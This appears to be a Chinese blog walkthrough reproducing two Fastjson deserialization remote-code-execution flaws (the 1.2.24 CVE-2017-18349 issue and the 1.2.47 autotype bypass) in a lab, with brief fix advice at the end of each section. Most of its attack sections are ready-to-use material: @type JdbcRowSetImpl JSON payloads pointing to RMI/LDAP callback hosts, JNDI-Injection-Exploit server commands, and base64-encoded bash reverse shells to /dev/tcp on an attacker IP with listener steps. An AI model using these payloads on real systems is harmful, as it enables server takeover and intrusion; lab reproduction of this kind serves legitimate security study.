FastJson 漏洞复现
文章目录
- FastJson 漏洞复现
- 1. FastJson 1.2.24 反序列化导致任意命令执行漏洞
- 1.1 漏洞描述
- 1.2 漏洞原理
- 1.3 漏洞复现
- 1.3.1 环境启动
- 1.3.2 漏洞检测
- 1.3.3 漏洞验证
- 1.4 漏洞利用
- 1.5 修复方案
- 2. Fastjson 1.2.47 远程命令执行漏洞
- 2.1 漏洞描述
- 2.2 漏洞复现
- 2.2.1 环境启动
- 2.2.2 漏洞检测
- 2.2.3 漏洞验证
- 2.3 漏洞利用
- 2.4 修复方案
FastJson 漏洞复现
1. FastJson 1.2.24 反序列化导致任意命令执行漏洞
链接地址:Fastjson 1.2.24 反序列化导致任意命令执行漏洞。
1.1 漏洞描述
说明 | 内容 |
---|---|
漏洞编号 | CVE-2017-18349 |
漏洞名称 | fastjson 1.2.24 反序列化导致任意命令执行漏洞 |
漏洞评级 | 高危 |
影响范围 | 1.2.24 |
漏洞描述 | fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 |
修复方案 | 打补丁,上设备,升级组件 |
具体描述
FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。
关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。
1.2 漏洞原理
攻击者访问存在fastjson漏洞的目标靶机,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetlmpl 恶意信息发送给目标机。
存在漏洞的目标靶机对json反序列化的时候,会执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行命令。
rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(创建文件、反弹shell等)
rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
靶机执行了恶意代码,被攻击者成功利用。
1.3 漏洞复现
1.3.1 环境启动
环境运行后,访问http://your-ip:8090
即可看到JSON格式的输出。
使用bp抓取数据包
我们向这个地址POST一个JSON对象,即可更新服务端的信息:
先转换为POST请求
然后发送一个JSON数据
{"name":"wuhu", "age":20}
如果直接发送会报500错误,需要将Content-Type类型修改为JSON格式
重新放包即可。
这里就是提交一个JSON格式的数据到服务器后转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。
- JSON–>Object–>JSON
1.3.2 漏洞检测
可以使用BurpSuite扩展:Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件 (github.com)。
proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar
下载成功后,在BP中添加插件即可。
然后将数据包发送到插件
正在扫描
扫描成功,发现漏洞,然后会生成一个POC。
将生成的POC拷贝到我们之前抓取的数据包中。
{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://p1rgv81zmbf1ogymvoqrw59dj4pudj.oastify.com/aaa","autoCommit":true}
}
RMI概述:Java RMI(Java Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网络上的不同计算机中。
在网络传输的过程中。RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化。因此,可以将RMI服务作为进行反序列化利用链的触发点。
1.3.3 漏洞验证
使用JNDI-Injection-Exploit工具,链接地址JNDI-Injection-Exploit/README-CN.md at master · welk1n/JNDI-Injection-Exploit (github.com)。
开启RMI服务器
使用方法:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"
1.4 漏洞利用
开启服务器,将之前构造的反弹Shell在 -C
后面的参数进行替换即可。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"
kali监听9999端口
复制到指定位置,然后放包即可
ldap://192.168.188.185:1389/1cmhtr
监听成功
1.5 修复方案
修复 Fastjson 1.2.24 反序列化漏洞的最佳方法是将 Fastjson 更新到修复此漏洞的最新版本。Fastjson 团队已经修复了此漏洞,并提供了补丁程序或更新版本。因此,建议立即更新 Fastjson 到最新修复版本,以确保应用程序不再受到此漏洞的影响。此外,还应采取其他防护措施,如输入验证、过滤和限制反序列化能力,以提高应用程序的安全性。
2. Fastjson 1.2.47 远程命令执行漏洞
链接地址:Fastjson 1.2.47 远程命令执行漏洞。
2.1 漏洞描述
说明 | 内容 |
---|---|
漏洞编号 | |
漏洞名称 | Fastjson 1.2.47 远程命令执行漏洞 |
漏洞评级 | 高危 |
影响范围 | 1.2.47以及之前的所有版本 |
漏洞描述 | Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。 |
修复方案 | 打补丁,上设备,升级组件 |
具体描述
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
2.2 漏洞复现
2.2.1 环境启动
环境启动后,访问http://your-ip:8090
即可看到一个json对象被返回
使用bp抓取数据包
将content-type修改为application/json
后可向其POST新的JSON对象,后端会利用fastjson进行解析。
2.2.2 漏洞检测
将生成POC拷贝到抓取的数据包中。
{"axin":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"is":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa","autoCommit":true}
}
2.2.3 漏洞验证
开启RMI服务器
使用方法:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"
使用JDK 1.8中的ldap
ldap://192.168.188.185:1389/asdqfh
查看tmp目录下是否有我们创建的wuhu文件。
通过查看后发现文件创建成功,证明漏洞存在。
2.3 漏洞利用
构造反弹Shell命令
bash -i >& /dev/tcp/192.168.188.185/8888 0>&1 # 将该命令做一个base64编码bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
开启服务器,将之前构造的反弹Shell在 -C
后面的参数进行替换即可。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"
同时kail监听8888端口
将ldap复制到指定位置,然后放包即可
ldap://192.168.188.185:1389/wslvmi
反弹成功
2.4 修复方案
- 升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
- WAF拦截过滤请求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多种编码的autotype变形
- 最少升级到1.2.48以上版本且关闭autotype选项
相关文章:
FastJson 漏洞复现
文章目录 FastJson 漏洞复现1. FastJson 1.2.24 反序列化导致任意命令执行漏洞1.1 漏洞描述1.2 漏洞原理1.3 漏洞复现1.3.1 环境启动1.3.2 漏洞检测1.3.3 漏洞验证 1.4 漏洞利用1.5 修复方案 2. Fastjson 1.2.47 远程命令执行漏洞2.1 漏洞描述2.2 漏洞复现2.2.1 环境启动2.2.2 …...
jeesite实现excel导入功能(保姆级图文教程)
文章目录 前言一、准备工作1.准备一个excel模板,放入static目录2.application.yml文件中设置文件存储路径3.使用easyexcel插件解析excel数据,pom文件导入easyexcel二、使用步骤1.列表页添加下载模板按钮2.表单页添加文件上传3. 创建excel解析对应实体4.后台完成文件上传代码,…...
【B树 B+树】B树、B+树理论
目录 引入B树B树定义和性质m阶B树核心特性 B树B树的查找 引入B树 满足上面两个策略就是B树: m 叉查找树中,规定除了根节点外,任何结点至少有 ⌈ m / 2 ⌉ \lceil m/2 \rceil ⌈m/2⌉ 个分叉,即至少含有 ⌈ m / 2 ⌉ \lceil m/2 \…...
CRM软件系统能否监控手机的使用
CRM可以监控手机吗?答案是不可以。CRM是一款帮助企业优化业务流程,提高销售效率的工具。例如Zoho CRM,最多也就是听一下销售的通话录音,却不可以监控手机,毕竟CRM不是一款监控软件。 CRM的主要作用有以下几点…...
hutool的HttpRequest.post的使用-包括上传文档等多个传参【总结版本】
首先hutool已经为我们封装好了远程调用的接口,我们只要将对应的传参和方式对应填写即可 hutool官方文档 1实际应用 post 常见的使用json传参,contend type为application/json RequestMapping("login") ResponseBody public static String s…...
VR数字工厂,为企业工厂打造竞争新优势
工业经济中大部分行业都是制造业,为了合力助推工业经济提质增效,谋划推进制造业数字化转型就显得尤为重要了。用VR赋能工厂数字升级,打造VR数字工厂,满足各行各业沉浸式营销展示需求。 VR数字工厂是一种全新的工业模式,…...
记一次线程堵塞(挂起)导致消息队列积压
1 背景 A服务作为生产者,每天发送上千万的mq消息,每一个消息包含500个用户ids数据。B服务作为消费者,接受MQ消息并通过http调用第三方请求进行业务处理,消费组启用了rabbitmq的多线程消费组,一个实例并发40个mq消费者…...
被问实习最大的收获是什么可以怎么回答?
最大的收获? 了解大型项目的运转过程:总工程师给开发和测试串讲需求->开发编写需求的特性说明书,完成需求方案设计和评审->编码完成后对各个场景进行自测,上库后给相关模块人进行代码检视后并修改检视意见->在每个迭代转…...
如何理解图神经网络的傅里叶变换和图卷积
图神经网络(GNN)代表了一类强大的深度神经网络架构。在一个日益互联的世界里,因为信息的联通性,大部分的信息可以被建模为图。例如,化合物中的原子是节点,它们之间的键是边。图神经网络的美妙之处在于它们能…...
国家网络安全周2023时间是什么时候?有什么特点?谁举办的?
国家网络安全周2023时间是什么时候? 2023年国家网络安全宣传周将于9月11日至17日在全国范围内统一开展。其中开幕式等重要活动将在福建省福州市举行。今年网安周期间,除开幕式外,还将举行网络安全博览会、网络安全技术高峰论坛、网络安全微视…...
windows编程之线程同步万字总结(创建线程,互斥对象,互斥事件,信号量,关键段,多线程群聊服务器)
文章目录 创建线程方法一_beginthreadex函数讲解使用示例: 方法二CreateThread函数讲解:使用示例: 互斥对象:创建互斥对象CreateMutex 互斥事件介绍创建或打开一个未命名的互斥事件对象 信号量介绍信号量的相关函数使用示例 关键段相关函数错误使用示例正确使用示例…...
Git在已有的项目中引入Submodule子模块管理:添加、更新、删除(实战示例代码)
前言 在进行Git版本控制的过程中,有时候我们需要在已有的项目中引入子模块,以便复用其他独立的Git存储库的代码或文件。本文将详细介绍如何在已有项目下添加、更新和删除Git的Submodule子模块,并提供相关的示例代码。 实战场景 假设我们已…...
内网穿透实现Windows远程桌面访问Ubuntu,简单高效的远程桌面解决方案
文章目录 前言1. ubuntu安装XRDP2.局域网测试连接3.安装cpolar内网穿透4.cpolar公网地址测试访问5.固定域名公网地址 前言 XRDP是一种开源工具,它允许用户通过Windows RDP访问Linux远程桌面。 除了Windows RDP外,xrdp工具还接受来自其他RDP客户端(如Fre…...
如何学习运营管理
运营管理(Operations Management)是一门管理学科,它关注如何高效地组织和管理企业的生产、服务、供应链和业务过程以达到组织的目标。运营管理是企业管理的一个重要领域,它包含了多个内容和职能: 生产管理:…...
腾讯云centos7.6安装部署备忘
1.Mysql 1.1 安装mysql wget http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm rpm -ivh mysql-community-release-el7-5.noarch.rpm yum install mysql-community-server 1.1.1 安装后重启 service mysqld restart 1.1.2 初次安装mysql,root账…...
【赠书活动】考研备考书单推荐
👉博__主👈:米码收割机 👉技__能👈:C/Python语言 👉公众号👈:测试开发自动化【获取源码商业合作】 👉荣__誉👈:阿里云博客专家博主、5…...
中缀表达式 - 栈实现综合计算器
代码: package Algotithm.stackobject Calculator {def main(args: Array[String]): Unit {val expression "32*6-2"//创建两个栈:数栈、符号栈val numStack, operStack new ArrayStack2(10)//定义需要的相关变量var index, num1, num2, …...
html语音播报功能问题
语音播报有个问题,就是弹出层有时无法关闭页面的播报,如果弹出层也有语音播报,就会造成语音混者播放 解决办法就是在弹出窗口(我用的弹出层框架是layui的)之前清空语音 window.operEdit function (url, title){window.speechSynthesis.can…...
计算机重点学科评级B-,山东省属重点高校考情分析
山东科技大学(B-) 考研难度(☆☆) 内容:23考情概况(拟录取和复试分析)、院校概况、23专业目录、23复试详情、各专业考情分析、各科目考情分析。 正文1175字预计阅读:3分钟 2023考情概况 山东科技大学计…...
轻松搭建本地知识库的ChatGLM2-6B
近期发现了一个项目,它的前身是ChatGLM,在我之前的博客中有关于ChatGLM的部署过程,本项目在前者基础上进行了优化,可以基于当前主流的LLM模型和庞大的知识库,实现本地部署自己的ChatGPT,并可结合自己的知识…...
flink的物理DataFlow图及Slot处理槽任务分配
背景 在flink中,有几个比较重要的概念,逻辑DataFlow图,物理DataFlow图以及处理槽执行任务,本文就来讲解下这几个概念 概念详解 假设有以下代码:数据源和统计单词算子的并行度是2,数据汇算子的并行度是1&…...
与面试相关的redis
这里写自定义目录标题 📝 redis的知识点数据结构及其特性,用途和操作方法持久化高可用分布式锁发布订阅性能优化安全性数据分片缓存策略键过期删除策略内存淘汰策略 🤗 总结归纳📎 参考文章 😀 这里写文章的前言&#…...
MapStruct从0到0.5
MapStruct从0到0.5 开发的过程,经常会用到实体类属性映射,同时为了方便,开发者也很少自己写专门的属性赋值工具类。索性会直接使用Sprrng提供的BeanUtils工具类,然后在性能上和字段属性赋值上的问题,一直是为开发者所…...
STM32H750 HAL CUBEMX 时钟失败及死机无法下载问题解决
芯片采样电压设置,否则 无法运行 解决死机问题 设置swd 模式 短接 boot0 —vcc 3.3v即可正常下载...
paddlespeech on centos7
概述 paddlespeech是百度飞桨平台的开源工具包,主要用于语音和音频的分析处理,其中包含多个可选模型,提供语音识别、语音合成、说话人验证、关键词识别、音频分类和语音翻译等功能。 paddlespeech整体是比较简单易用的,但是安装…...
ROM是什么? 刷ROM是什么意思?
文章目录 ROM是什么?刷ROM是什么意思 ROM是什么? ROM是只读内存(Read-Only Memory)的简称,是一种只能读出事先所存数据的固态半导体存储器。其特性是一旦储存资料就无法再将之改变或删除。通常用在不需经常变更资料的…...
华为云Stack的学习(五)
六、华为云stack服务简介 1.云服务在华为云Stack中的位置 云服务对接多个数据中心资源池层提供的资源,并向各种行业应用提供载体。 2.华为云Stack通用服务 2.1 云计算的服务模式 2.2 计算相关的云服务 2.3 存储相关的云服务 2.4 网络相关的云服务 3.云化案例 **…...
【LeetCode-中等题】904. 水果成篮
文章目录 题目方法一:滑动窗口方法二: 题目 题目的意思就是:找至多包含两种元素的最长子串,返回其长度 方法一:滑动窗口 class Solution { // 滑动窗口 找至多包含两种元素的最长子串,返回其长度public …...
【C++】哈希——哈希的概念,应用以及闭散列和哈希桶的模拟实现
前言: 前面我们一同学习了二叉搜索树,以及特殊版本的平衡二叉搜索树,这些容器让我们查找数据的效率提高到了O(log^2 N)。虽然效率提高了很多,但是有没有一种理想的方法使得我们能提高到O(1)呢?其实在C语言数据结构中&a…...
Kubernetes (K8s) 解读:微服务与容器编排的未来
🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🐅🐾猫头虎建议程序员必备技术栈一览表📖: 🛠️ 全栈技术 Full Stack: 📚…...
上海热线网站建设/百度后台登录
开发过程中出现bug是很正常的事情,小bug无关紧要,可如果是重大bug该怎么办?一位央企程序员就陷入了这样的困境:因为自己没有考虑周全,不小心写了个重大bug,会造成用户个人信息泄露(用爬虫可以攻…...
下载的网站模板怎么修改/上海优化网站seo公司
《C#数据结构》预备知识:接口及泛型。《大话数据结构》预备知识:指针。《数据结构算法与应用c语言》预备知识:模板。将上述基础知识做到融会贯通,三本书才能看懂学会。三部书互有补充,对照学习后应该能将数据结构知识学…...
网站建设全视频教程下载/近期重大新闻
0基本数据类型包装类1intInteger2charCharacter3shortShort4longLong5floatFloat6doubleDouble7booleanBoolean8byteByte(1)Integer,Character,Short,Long,Float,Double都属于Number类的子类(2)Boolean和Byte都直接属于Object的子类Number类的方法 byteValue() intValue() floa…...
杭州做公司网站的公司/搜索引擎是指什么
点击上方“蓝色字”可关注我们!暴走时评:美国加密货币交易所Coinbase证实,它已于5月13日向纽约用户推出了XRP交易。 在比特币(BTC)持续的牛市中,XRP在周二表现最佳,XRP /美元在24小时内创下了22…...
珠宝网站制作的理念/seo外包服务项目
JDK动态代理为了引出动态代理,我们看看一个案列!广东广州,早上9:00,一位靓仔穿着人字拖、提着鸟笼,走进了早茶店。没错,这就是广州典型的包租公!名下几栋楼,只收租为生,没…...
WordPress调用html/网站优化流程
MySQL面试题-基础1、SQL中文全称结构化查询语言2、SQL语句分类(1)数据查询语言DQL包括select字段名from表名where条件(2)数据操纵语言DML包括Insertupdatedelete(3)数据定义语言DDL包括createalterdroptruncate(4)数据控制语言DCL包括grant(授权)DENY语句(拒绝授权)REVOKE语句(…...